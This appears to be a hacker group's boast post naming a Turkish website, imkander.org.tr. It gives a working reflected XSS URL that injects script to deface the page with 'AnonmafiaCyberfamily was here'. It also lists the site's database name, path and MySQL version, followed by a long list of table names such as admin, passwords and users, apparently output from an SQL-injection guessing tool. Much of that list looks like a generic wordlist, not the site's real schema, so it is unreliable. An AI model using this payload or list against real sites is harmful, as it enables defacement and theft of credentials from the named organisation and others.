@incursiosubter #AMCF

Follow me: https://twitter.com/IncursioSubter

http://imkander.org.tr

XSS vuln: http://imkander.org.tr/?aType=yorumlar&FotoID=771%22%3Cscript%3Edocument.body.innerHTML=%22%3Cstyle%3Ebody{visibility:hidden;}%3C/style%3E%3Cdiv%20style=visibility:visible;%3E%3Ch1%3EAnonmafiaCyberfamily%20was%20here%3C/h1%3E%3Ch2%3Ei%3C/h2%3E%3Ch2%3E@incursiosubter%3C/h2%3E%3C/div%3E%22;%3C/script%3E

database imkander_en
Path to database files /var/lib/mysql/
version 5.1.73



Databases and tables below:


in?orm?tion_sche?a
Table Name	Columns

imkcnder_N?
Table Name	Columns
网站管理员
管理员
登录
用户帐号
用户密码
用户名
用户
帐号
密码
会员
sb_host_adminAffichage1name
Affichage1name
yhmm
yhm
Affichage1
sb_host_adminAffichage1
ststaff
Fusion
Fusion8
Cold
ColdFusion
ColdFusion8
slserver
server
bayview
bayviewpath
edu
mac
windows
pc
win
Affichage1Affichage1edu
pierre liste
Lieux
Lieu de la manifestation
Pr�f�rencesUtilisateur
Pr?f?rencesUtilisateur
Nombre total de membres
Titres
Sondage
Sujets
Pays
Catogorie
utlisateur
intranet_users
utilisateurs
les noms d'utilisateur
nom d'utilisateur
tester
super
statistiques
paramtres
enregistrs
personnes handicapes
asse
passe
partenaires
partenaire
commandes
ordre
noms
nom
films
membres
membre
gestionnaire
principal
connexion
liens
groupes
groupe
telecharger
journal
concessionnaires
concessionnaire
entreprise
livre
auteur
administrateurs
administrateur
administrables
administrer
comptes
compte
trier
utilisateur
CC_username
CC_info
vwListAllAvailable
viewStoneArtist
viewLogBookEntry
Ansicht1
VIEW1
tblWishList
tblStones
tblStoneCategory
tblOrders
tblNewCategory
tblMails
tblLogBookUser
tblLogBookImport
tblLogBookImages
tblLogBookEntry
tblLogBookAuthor
tblLayouts
tblArtists
tblArtistCategory
Stein Liste
stone list
X_3945
VenuesNew
Veranstaltungsorte
Veranstaltungsort
venues
Venue
uvw_Preferences
uvw_Pref
uvw_Category
UserPreferences
Total Members
ToPacmail2
ToPacmail1
Ticket-System ACC-Nummern
Titles
TimeDiff
Ticket System Acc Numbers
tblRestrictedShows
tblRestrictedPasswords
SurveyRespondent
SurveyQuestion
SurveyAnswerOpen
SurveyAnswer
Umfrage
Anhand des Sachgebietes
UnterkKlasse
Staaten
Survey
SubCategory
States
StateList
categoria
Sheldonshows
Serie
Suchoptionen
Series
SearchOptions
Region
ProxyPriceInfo
ProxyDataFeedShowtag
ProxyDataFeedPerformance
Promotion
PerfPasswordAllSelected
PerfPassword
Passwörter durch Nutzung zählen
Passwords by usage count
MyTicketekArchive
MyTicketek
JamPass
Genre
Events_new
EventRedirect
Event_Category
Event_backup
dtproperties
DataFeedShowtag2_incoming
DataFeedShowtag2
DataFeedShowtag1
DataFeedPerformance2_incoming
DataFeedPerformance2
DataFeedPerformance1
CustomNav
CountryCodes1
Land
ClickTrack
ChicksPass
CategoryGroup
Kategorie
Category
ActiveDataFeed
sb_host_adminActiveDataFeed
yabbse_settings
yabb_settings
xoops_users
xoops_bannerclient
xar_roles
Webbenutzer
webusers
webmasters
vip
voodoo_members
vbulletin_user
vbulletin_session
vb_user
Benutzernamen
Benutzername
usrs
usr_pw
userpasswd
userlogins
Benutzerliste
user_pw
usercontrol
Benutzer
u_pass
u_p
u_name
u_n
u
Titel
usebb_members
test
tblConfigs
tblclient
tbl_client
tbl_clients
tbl
Tabellen
Tisch
tables
table
systime
Systemadministratoren
syssegments
sysconstraints
system
sys
Statistiken
Subjects
statistics
SS_orders
smf_members
smallnuke_members
Standorte
sites
sitelogins
sitelogin
site_logins
site_login
shop.orders
shop.cards
Einstellungen
Sitzungen
Tagung
sessions
session
roots
root
regusers
registriert
reg
registeration
register
singin
singup
sing
log
logging
Microsoft
ASP.NET
ASP
webapps
jhu
registered
reg_users
reg_user
pwd1
pw
pswd
psw
powers
power
punbb_users
poll_user
pma_table_info
phpmyadmin.pma_table_info
phpBB2.phpbb_users
phpBB2.forum_users
phpbb_users
phpads_config
phpads_clients
phorum_users
phorum_user
phorum_session
perdoruesit
perdorues
Passwörter
Passwort
Pässe
Bestellungen
Auftrag
passwords
passes
partners
partner
parol
orders
order
obb_profiles
nuke_users
nuke_popsettings
nuke_config
nuke_bbconfig
nuke_authors
newsletter
news_lostpass
Namen
new
nc
names
mysql.user
mysql
mybb_users
Filme
Film
musername
mpassword
mm
mima
minibbtable_users
Mitglieder
Mitgliederliste
Mitglied
mb_users
mambo_users
mambo_session
hauptsächlich
main
Protokolle
logs
logon
Anmeldung
keywords
key
links
kpro_user
kpro_adminlogs
Mitgliederbereich
korisnici
knews_lostpass
jos_users
jos_moschat_users
jos_messages_cfg
jos_joomblog_users
jos_contact_details
jos_comprofiler_members
jos_blastchatc_users
joomla_users
ipb_sessions
ipb.ibf_members
Bilder
index
images
h_admin
guanliyuan
guanli
icq
ibf_sessions
ibf_members_converge
ibf_members
ibf_conf_settings
ibf_admin_sessions
Gruppen
Gruppe
groups
group
users_test
test_users
user_test
test_user
databases
database
db
staff_db
db_staff
dbstaff
staff
stuseres
stusers
stuser
stnuser
us
gly
glmm
gl
Event
dw
fusion_users
fusion_user_groups
forum.ibf_members
e107_user
e107.e107_user
Dragon_users
herunterladen
Tagebuch
Händler
download
diary
dealers
dealer
customers_basket
Kunde
customers
customer
Country
controle
cpg132_users
cpg_config
Kontrolle
Inhalt
Kontakte
Kontakt
control
contenu
content
contacts
contact
Firma
sb_host_admin
reguser
akhbar
files
file
uploads
upload
ACT_INFO
setting
settings
general
options
news
movies
movie
manage
m_admin
info
dbadmins
banner
config
usuario
company
clubconfig
book
bbs
article_admin
x_admin
sysusers
sysuser
sysadmins
sysadmin
superuser
tblnews
art
Kunden
clients
chat
client
chat_users
chat_messages
chat_config
Buch
article
backenduser
backend_users
Autor
backend
autore
author
aut
Artikel
articles
Kunst
adminupass
adminpsw
adminrights
Administratoren
Verwaltung
administrieren
verwaltet
verwalten
administrators
administration
administrate
administrable
administer
admin_psw
admin_login
Konten
Konto
ad
4images_users
_wfspro_admin
pword
LoginIP
LastLoginDate
SecurityLevel
user_pwd
userpwd
sort
user_password
userpassword
dblist
lists
list
dbpersoon
affiliateUsers
personal
person
dbusers
dbuser
useres
dbadmin
dbstudents
dbstudent
dbaccount
user_pass
userpass
pass
usr_pass
usrpass
admin_password
adminpassword
admin_pass
admin_pwd
adminpwd
adminpaw
apwd
useradmin
user_name
students
student
name
usrnam
usr_name
usrname
usr_n
usr
admin_name
adminname
admin_username
adminusername
AdminUID
admin_userid
adminuserid
admin_id
adminid
administrator
admin_userinfo
admin_user
karbaran
karbar
modiriat
modir
adm
hsa_user
a_admin
pwds
pwd
password
lostpasswords
lostpass
lost_passwords
lost_pass
login_users
login_user
login_admins
login_admin
tb_users
tb_usernames
tb_username
tb_user
tb_members
tb_member
tb_login
tb_admins
tb_administrator
tb_admin
tbl_nguoidungs
tbl_useraccounts
tbl_accounts
tbl_logins
tb_nguoidungs
tb_useraccounts
tb_accounts
tb_logins
tbl_nguoidung
tbl_useraccount
tbl_account
tbl_login
tb_nguoidung
tb_useraccount
tb_account
tblnguoidungs
tbluseraccounts
tblaccounts
tbllogins
tbnguoidungs
tbuseraccounts
tbaccounts
tbadmins
tblogins
tbusers
tblnguoidung
tbluseraccount
tblaccount
tbladmin
tbllogin
tbnguoidung
tbuseraccount
tbaccount
tbadmin
tblogin
tbuser
nguoidungs
useraccounts
taikhoanquantri
taikhoan
dangnhap
quantri
quanly
nguoidung
useraccount
Adminlogin
tbl_tbadmin
tblproduct
tblproducts
products
product
Webuser
Webmaster
webadmins
webadmin
userlist
userinfo
userrights
user_names
user_logins
user_login
user_list
user_info
user_admin
cms_admins
cms_admin
cms_members
cms_users
cms_member
cms_user
LastName
FirstName
LoginID
adminpass
auid
user_id
userid
uid
tusers
tuser
id
adminstbl
admintbl
userstbl
usertbl
adminuser
tblservers
tblclients
tblmanagers
tblmanager
tblusers
tbluser
memberlist
tbladmins
tbl_members
tbl_member
tbl_admins
tbl_admin
tbl_users
tbl_user
members
logins
login
member
accounts
account
manager
users
admins
admin
usernames
username
user